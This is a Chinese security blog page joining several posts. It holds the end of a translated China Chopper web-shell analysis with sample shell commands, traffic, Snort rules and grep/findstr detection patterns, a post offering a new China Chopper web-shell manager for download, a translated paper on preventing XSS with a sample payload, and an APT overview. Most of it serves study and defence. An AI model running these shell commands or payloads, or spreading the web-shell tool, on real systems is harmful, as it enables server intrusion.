                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&amp;whoami&amp;echo [S]&amp;cd&amp;echo [E]</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这也解释了客户如何与外壳进行通信。 “密码”的参数传递给被执行的代码的有效载荷。该Z1是cmd,然后Z2包含的参数通过CMD / C发送的命令提示符。所有输出发送到标准输出(stdout)回攻击者,从而创建以下响应whoami命令和当前的工作目录:</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>-&gt;|nt authority\network service[S]C:\Inetpub\wwwroot[E]|&lt;-</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong>发现<br> <br> 现在,我们了解中国砍刀的内容以及它的交通是什么样子,我们可以集中精力的方法来检测这种害虫无论是在网络和主机级别。<br> 网络<br> <br> 与标准的Snort IDS到位,这些流量可以被捕获相对容易。基思·泰勒给出了一个基本的IDS特征在他早期的中国砍刀博客文章的工作:</strong> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="http://www.snort.org/" data-ke-src="http://www.snort.org/" target="_blank"></a><a href="http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html" data-ke-src="http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>alert tcp any any -&gt; any 80 ( sid:900001; content:"base64_decode";<p style="margin:5px 0px;-ms-word-wrap:break-word;">http_client_body;flow:to_server,established; content:"POST"; nocase;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">http_method; ;msg:"Webshell Detected Apache";)</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">为了减少误报,我们已经收紧的Snort IDS签名专注于中国斩波通过寻找“FromBase64String”和“Z1”如下内容:</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>alert tcp $EXTERNAL_NET any -&gt; $HTTP_SERVERS $HTTP_PORTS<p style="margin:5px 0px;-ms-word-wrap:break-word;">(msg: "China Chopper with first Command Detected";</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">flow:to_server,established; content: "FromBase64String";</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">content: "z1"; content:"POST"; nocase;http_method;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">breaking-down-the-china-chopper-web-shell-part-i.html;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">classtype:web-application-attack; sid: 900000101;)</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">下面IDS特征查找“FromBase64String”和“Z”的任何组合,随后被一至三个数字的内容 - 这将找到“Z1”,“Z10”,或“Z100”为例的想法:如果第一命令(Z1)被错过了,你还是赶上随后的命令。</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;">
                                    <pre style="text-align:left;">alert tcp $EXTERNAL_NET any -&gt; $HTTP_SERVERS $HTTP_PORTS<p style="margin:5px 0px;-ms-word-wrap:break-word;">(msg: "China Chopper with all Commands Detected"; flow:to_server,established;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">breaking-down-the-china-chopper-web-shell-part-i.html;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">classtype:web-application-attack; sid: 900000102;)</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这两种IDS特征可以被修改为进一步优化时,深度和偏移考虑。一定要放一个有效的SID在实施前和测试签名的性能。<br> <br> 现在,我们已经讨论过检测在网络层面上,我们将看到检测在主机级别也是可以的。由于炮弹必须包含一个可预见的语法,我们可以迅速试图寻找那些在游戏的代码文件。<br> 主持人<br> <br> 许多方法可用于查找包含中国斩波文件。最快和最简单的方法,尤其是在Linux机器,很可能是使用正则表达式。如图10,在你的web目录快速的egrep可以帮助识别受感染的文件。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>egrep -re ' [&lt;][?]php\s\@eval[(]\$_POST\[.+\][)];[?][&gt;]' *.php</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="311" class="alignnone size-full wp-image-2674 landscape-med" style="border:0px currentColor;border-image:none;" alt="image010" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image010.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image010.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图10:使用egrep的发现这个网站的shell<br> <br> &nbsp;<br> <br> 正如你在图10中看到,egrep的正则表达式和命令是一个强大的组合。而正则表达式可能看起来像废话,它确实是并不像它看起来那样糟糕。伊恩·阿尔创造了一些正则表达式的教程,可以帮助提高你的正则表达式的技能。这里有两个让你开始:<br> <br> &nbsp;&nbsp;&nbsp; 正则表达式基础知识<br> &nbsp;&nbsp;&nbsp; 使用正则表达式用记事本<br> <br> Windows还提供了一种通过使用本地FINDSTR命令搜索使用正则表达式的文件。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="696" height="94" class="alignnone size-full wp-image-2675 landscape-med" style="border:0px currentColor;border-image:none;" alt="image011" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image011.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image011.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图11:使用FINDSTR找到中国砍刀<br> <br> &nbsp;<br> <br> 您可能已经注意到,我们不得不改变了正则表达式一点。这是必要的,以避开一些FINDSTR解释正则表达式的方式。您将运行命令如下:</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em><em></em><em></em> </p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R "[&lt;][?]php.\@eval[(]\$_POST.*[)];[?][&gt;]" *.php</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这些例子表明检测的PHP外壳。为了找到ASPX外壳,只需修改正则表达式来适应ASPX壳的语法如下所示:</p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">egrep -re '[&lt;]\%\@\sPage\sLanguage=.Jscript.\%[&gt;][&lt;]\%eval.Request\.Item.+unsafe' *.aspx</pre>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R "[&lt;]\%\@.Page.Language=.Jscript.\%[&gt;][&lt;]\%eval.Request\.Item.*unsafe" *.aspx</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">如果你不知道,所有的PHP或ASPX文件是在Windows主机上,可以使用dir命令的一些扩展选项,以帮助您确定您可能要运行我们的正则表达式对(见图12)Web文件。</p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">dir /S /A /B *.php</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="510" height="135" class="alignnone size-full wp-image-2676 landscape-med" style="border:0px currentColor;border-image:none;" alt="image012" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image012.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image012.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图12:通过Windows使用dir命令递归搜索<br> <br> &nbsp;<br> <br> FINDSTR还必须搜索所有的子目录(参见图13)的选项。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R /S "[&lt;][?]php.\@eval[(]\$_POST.*[)];[?][&gt;]" *.php</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="213" class="alignnone size-full wp-image-2677 landscape-med" style="border:0px currentColor;border-image:none;" alt="image013" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image013.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image013.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图13:使用FINDSTR递归找到Web壳的多个实例<br> <br> &nbsp;<br> <br> 结论:<br> <br> 我希望中国斩波器的功能,平台的通用性,交付机制,流量分析和检测这个解释给你的知识和工具,你需要消除这种优雅的设计,但危险的威胁。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p><br class="Apple-interchange-newline">

admin 发布于  2014-12-20 09:20 

时隔这么久,菜刀再次更新--中国菜刀20141213新版发布--强大的网站管理工具 神器荟萃

这里的菜刀不是指切菜做饭的工具,而是中国安全圈内使用非常广泛的一款Webshell管理工具,想买菜刀请出门左拐东门菜市场王铁匠处。

关于中国菜刀

QQ截图20141220092444.png

中国菜刀用途十分广泛,是一款专业的网站管理软件,支持多种语言,小巧实用,用途广泛,使用方便,据说是一位中国军人退伍之后的作品。

之前国外安全公司Fireeye对这款工具进行了详细的剖析,也可以说是一部非常nice的菜刀使用教程:

第一部分(已翻译成中文了):中国菜刀剖析第一部分

第二部分(已翻译成中文了):中国菜刀剖析第二部分

caidao-20141213.zip (右键另存为-保存)
(chopper.exe)md5各版本校验码: 
 20111116 => 5001ef50c7e869253a7c152a638eab8a
 20141213 => 4b4a956b9c7dc734f339fa05e4c2a990




admin 发布于  2014-12-20 08:18 

deDacota:通过自动化分离数据和代码防御服务端XSS漏洞 渗透测试

原文题目:deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation

原文地址:http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf

以下为译文:


Web应用持续受到各种方式的攻击。跨站脚本漏洞是最流行的漏洞之一,产生原因是不被信任的恶意数据通过浏览器提交给应用,并且被解释为程序代码,最终被浏览器执行,造成攻击。本文介绍一种方法可以高效、自动重写应用代码,实现分离网页代码和内联JS脚本,应用CSP策略避免跨站脚本漏洞的产生。

一、跨站脚本漏洞:

跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、偷取密码、传播恶意代码等攻击行为。恶意的攻击者将对客户端有危害的代码放到服务器上作为一个网页内容, 使得其他网站用户在观看此网页时,这些代码注入到了用户的浏览器中执行,导致用户受到攻击。一般而言,利用跨站脚本攻击,攻击者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。

跨站漏洞从利用方式来说分为反射性漏洞和存储型漏洞,发生原因是服务端对用户输入的数据没有进行适当的过滤,导致发送给浏览器的网页携带恶意脚本,从而产生漏洞。从跨站脚本产生的位置不同,又可以分为客户端跨站漏洞和服务端跨站漏洞。客户端跨站漏洞的产生不依赖于用户提交到服务器的数据,也称之为DOM-XSS漏洞。而服务端跨站漏洞依赖于用户提交到服务器的数据,本文主要的研究内容就是如何通过分离网页代码和内联JS脚本,并应用CSP的方式阻止服务端XSS攻击。

二、内容安全策略(CSP)

为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

CSP 以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,本文研究的技术可以自动化分离网页代码和内联JS脚本,帮助网站支持CSP技术从而避免潜在的跨站攻击。

三、内联JS分离技术

内联JS分离技术包含三个主要步骤:

1、 静态分析网页代码的HTML输出。

2、 从HTML页面抽取出全部内联JavaScript代码。

3、 重写应用代码以便于适应分离的内联JavaScript代码。

这项分离技术也有一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。所以这项技术对于XSS漏洞来说并不是万灵药,在与CSP策略结合后只解决大部分XSS的问题,减轻了开发人员的工作量,如果想要完全防御XSS漏洞,只需针对动态产生的JS代码和DOM-XSS做过滤和检测。

以ASP.NET网页表单页面为例。

1

图一: 简单的ASP.NET代码

首先需要确定应用程序是如何输出内容到页面:

<%%>之前的内容会直接输出到HTML页面,并且他们都是C#代码。

<%=代表这个C#代码是变量,在程序运行时其内容会被决定,并输出到HTML页面。

从图一中可以看出,第二行定义的是常量,第三行定义的是变量,在第七行username这个变量就被输出到HTML中,作为内联JS脚本执行。

2

图二:被C#编译器编译后的图一中代码。

在经过C#编译后的代码中,Write函数代替了<%%>标签作为输出函数,可以将内容写到页面当中。而var username代替了<%=标记,通过第八行的Wirit(this.username)将变量内容输出到页面当中。

在第一个阶段有两个关键步骤。第一个是确定将要输出到页面的内容。第二个是确定输出函数被调用的顺序。

我们使用points-to分析算法静态分析源代码来解决这个问题。简单的说points-to算法可以确定指针与变量地址的对应关系,最初被应用于C代码的静态分析当中。这个算法可以确定变量内存储的是常量字符串还是变量。通过它就可以判断Write函数将要输出的内容是常量还是变量,也就确定了那些地方是我们需要分离的数据。

为了确定Write函数被调用的顺序,我们使用了标准的控制流程图,可以准确确定函数调用顺序。这个控制流程图是一个无回路有向图(DAG),任何从根节点出发的叶子节点都代表一个可能的页面输出。

3

图三:程序控制流程图

图中每个实线圈出的节点都是直接输出常量到页面中,虚线圈出的节点是变量输出到节点,该节点值由程序动态决定。

在第二个阶段,我们使用之前生成的有向图精确地分离内联Javascript代码。从根节点出发到达的每个叶子节点都代表一个潜在的页面输出。我们使用一个递归算法递归全部的路径,对每个输出字符串进行识别,从而分离出Javascript代码。在这个过程中可能产生路径爆炸问题,因为即使一些很简单的代码也可能产生大量的逻辑路径,导致遍历失败。我们通过两种方法解决这个问题,第一个就是忽略注释代码。第二个是在每一对Javascript标记中处理不同路径,减少一次性处理的范围。当全部的内联Javascript代码都被识别之后,我们将结果传入下一个阶段——代码重写。

第三个阶段将全部内联Javascript代码与HTML代码分离,将他们存入外部Javascript文件中。原来写Javascript代码的地方被替换为<script src=”External.js”></script>这种形式。程序依照以下流程来重写应用:首先检查Wirte函数中要输出的内容,如果包含Javascript的开始标记,就使用SESSION标记指明这个地方含有内联Javascript代码,重写功能就会先移除这个Javascript标记然后将JS代码内容存入Session缓冲区,并且保持SESSION标记是唯一的,当程序读取到JS结束标记后,删除这个标记,一个内联JS就完整的与代码分离了。之后这个过程一直重复,直到内联JS代码全部被存入Session缓冲区为。最后对每个session缓冲区区hash值,作为外部JS文件名称,以便程序调用。

4

图四:重写之后的代码。

执行完这些步骤我们已经可以完全分离了内联JS脚本,如果其中的脚本仅仅是静态产生的JS脚本,那么网站在应用CSP后就可以完全防御XSS攻击的威胁。但是内联JS脚本中还有动态产生的脚本,将这些脚本仅仅分离到外部JS文件不能防御XSS攻击。比如针对图一中的代码。如果输入username=””;alert(‘xss’)//;那么最终在浏览器执行的脚本会是<script> var username=””;alert(‘xss’)//”;></script>,依然产生跨站威胁。这种跨站威胁应用我们的处理流程是不能完全根除的,因为这是服务端跨站漏洞。但是我们为了减轻动态脚本产生XSS漏洞的可能性,采取了两个处理方法。第一个方法是标记并记录动态脚本,方便人工评估动态产生的脚本是否包含漏洞。第二个方法是定制相应的过滤方法,对动态输出的内容进行转义、过滤。这两个方法只能减轻动态JS脚本产生XSS漏洞的可能性,但不能完全杜绝,这也就是为什么本文主要针对服务端XSS漏洞。

四、评估与实验

实验主要评估该方法的三个方面,第一个是抵御XSS攻击的效果,第二个是重写后的应用源代码是否会产生异常,第三个是重写应用代码对应用性能的影响。

实验选取了以下应用作为实验对象:

5

图五:选取的实验对象。

实验对象选取的条件主要是以下三点:

1、 应用程序开源。

2、 应用包含已知的XSS漏洞。

3、 应用代码没有经过混淆、加密。

因为ASP.NET开源项目很少,所以最后满足条件的项目只有这6个。这些项目有MVC框架的也有非MVC框架,并包含一定量的代码行数(LOC),满足我们的实验条件。

五、    实验结果:

当内联JS代码分离完成及应用了CSP策略后,我们手工的使用EXP对网站进行攻击,原始应用都产生了漏洞,但经过流程处理后的应用都防御了攻击。为了检测处理后的网站时候会产生错误,我们采取手工测试的方法,对每个页面的功能进行检测,最后发现没有任何错误产生。在图六中我们可以看到不同应用的JS分布。安全动态JS指程序识别出动态生成的JS输出内容并进行清理转义,已经安全。不安全的动态JS是我们不能正确识别的,仅进行记录并分离到外部JS文件中。图中(4)标记代表在ASP.NET框架编译程序时会自动产生4个JS脚本,这是我们不可控的元素,不作考虑。最后我们测试了应用性能,结果显示内联JS代码分离可根据内联JS代码使用数量的多少,适当减小页面代码,加速页面加载速度。对于内联JS使用较少的页面会产生反效果,但是不会产生较大影响。

6

图六:内联JS分离完成后的文件分布。

7

图七:内联JS分离完成后页面大小及响应时间对比。

六、总结与不足:

这项技术主要通过结合CSP策略来防御XSS攻击,根据我们的实验结果,该项技术已经达到一定的实际应用水平,可以抵御服务端XSS攻击并且不影响程序的执行结果和网站效率。

这项分离技术也存在一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。虽然这个方法已经基本可以应用到实际场景当中,但是程序获得内联JS的方法还需要持续改进。目前对于复杂的框架模板比如PHP经常使用的框架Thinkphp,不修改原有程序就识别内联JS脚本存在困难。但是只要解决了输出是如何被应用创建的,和怎样重写应用这两个问题,那么这项技术就可以应用于该框架。对于不同的框架需要不同的定制,对框架通用性较差。



admin 发布于  2014-12-16 13:24 

以人为本,知己知彼再谈APT攻击与防范 神器荟萃

图片1


为何会有APT?

2013年4月份Verizon发布的《2013年数据破坏调查报告》报告将包括APT攻击在内的信息破坏的敌对方分为了有组织犯罪集团、国家或国家资助的组织、黑客活跃分子三类。

在木马病毒泛滥时代的地下经济驱动中,各个国家均是地下经济体系和恶意代码的受害者。而APT出现的最本质原因是国家和政经集团作为“大玩家”直接介入到网络攻防的游戏体系当中,而攻击的对象也变成了他国政府和其他对立的政经体系。

APT得本质是什么?

在这里我们聊一聊APT究竟是什么的问题,有一句俗话这么说,要把问题看透,看透就是说,要找到本质,APT的本质是什么?这里可以借用一个做APT攻击的一线人员的说法,他说,APT的本质就是“死死的盯住目标,没有时间限制,没有方法限制,尝试每一种可能的攻击”所以Advanced Persistent Threat 中 Persistent 是关键。

APT为何大方光彩?

传统黑客攻击手段可分为非破坏性攻击和破坏性攻击两类。非破坏性攻击一般是为了扰乱系统的运行,并不盗窃系统资料,通常采用拒绝服务攻击或信息炸弹;破坏性攻击是以侵入他人电脑系统、盗窃系统保密信息、破坏目标系统的数据为目的。通常来讲,这种攻击方式,一般为非可持续性攻击,比如此系统当前无可利用漏洞和方法,攻击无法进行,这时候攻击者会为此目标总结定性,并结束攻击。
主与传统攻击相比,APT却不会到此结束,攻击者会暂时搁浅此系统攻击,而静静的等待时机,一周?一月?一年?甚至多年,都是可能的。然而计算机世界并没有什么系统是完美的,是决对安全的。再者APT攻击者很多时候的攻击并非针对计算机系统,而是人,人性的弱点从人类文明以来总是固有的,社工,钓鱼,欺骗等等,最后导致的结果就是,系统的沦陷,数据的失窃。在这种坚韧不拔的攻击精神下,APT成就了大批的成功攻击案例,足以震惊世界。

APT的常用手法是什么?

知己知彼,百战不殆,了解了APT的真实攻击手法,才能真正的了解APT,才能做到防患于未然。

一般攻击采用的攻击方式为,鱼叉式网络钓鱼(Spear phishing),是指只针对特定目标进行攻击的网络钓鱼攻击。当进行攻击的黑客锁定目标后,会以电子邮件的方式,假冒该公司或组织的名义发送一封难以辨真伪的电子邮件,诱使目标员工进一步登录帐号密码,使攻击者可以以此借机安装木马后门或其他间谍软件,窃取机密,或于员工时常浏览的网页中,置入病毒自动下载器(下载者),并持续更新受感染系统内之变种病毒。由于鱼叉式网络钓鱼锁定对象并非一般个人,而是特定公司、组织之成员,所以受窃资料也不是一般网络钓鱼所窃取的个人资料,而是其他高度敏感性资料,如商业机密。下图1是一次APT攻击的大概流程,下面以图1为蓝本简要介绍。

图片2

图1

1. 情报搜集
黑客透过一些公开的数据源 (Facebook、博客、微博等等) 搜寻和锁定特定人员并加以研究,然后定制攻击策略。

2. 首次突破防线,打入网络内部
首次突破防线的入侵手法,通常是透过电子邮件、实时通讯或网站顺道下载等社交工程技巧在用户系统植入零时差 (zero-day) 恶意软件。接着在系统开一个后门,网络门户因而洞开,后续渗透便轻而易举。(有时,黑客也会攻击网站的漏洞,或是直接入侵网络。)

3. 幕后操纵,通讯控制
幕后操纵 (Command & Control,简称 C&C) 服务器是黑客用来操纵受感染计算机与恶意软件以对您内部网络发动后续攻击的外部主机。

4. 内网渗透与移动
一旦进入企业网络,黑客就能进一步入侵更多计算机来搜集登入信息,提高自己的权限,让计算机永远受到掌控。

5. 重要资料发掘与搜索
黑客有许多技巧 (如端口扫瞄) 可以发掘有价数据所在的服务器或服务。

6. 资料外传
一旦搜集到敏感信息,这些数据就会汇集到内部的一个暂存服务器,然后再整理、压缩,通常并经过加密,然后外传。

APT攻击常用的RAT工具

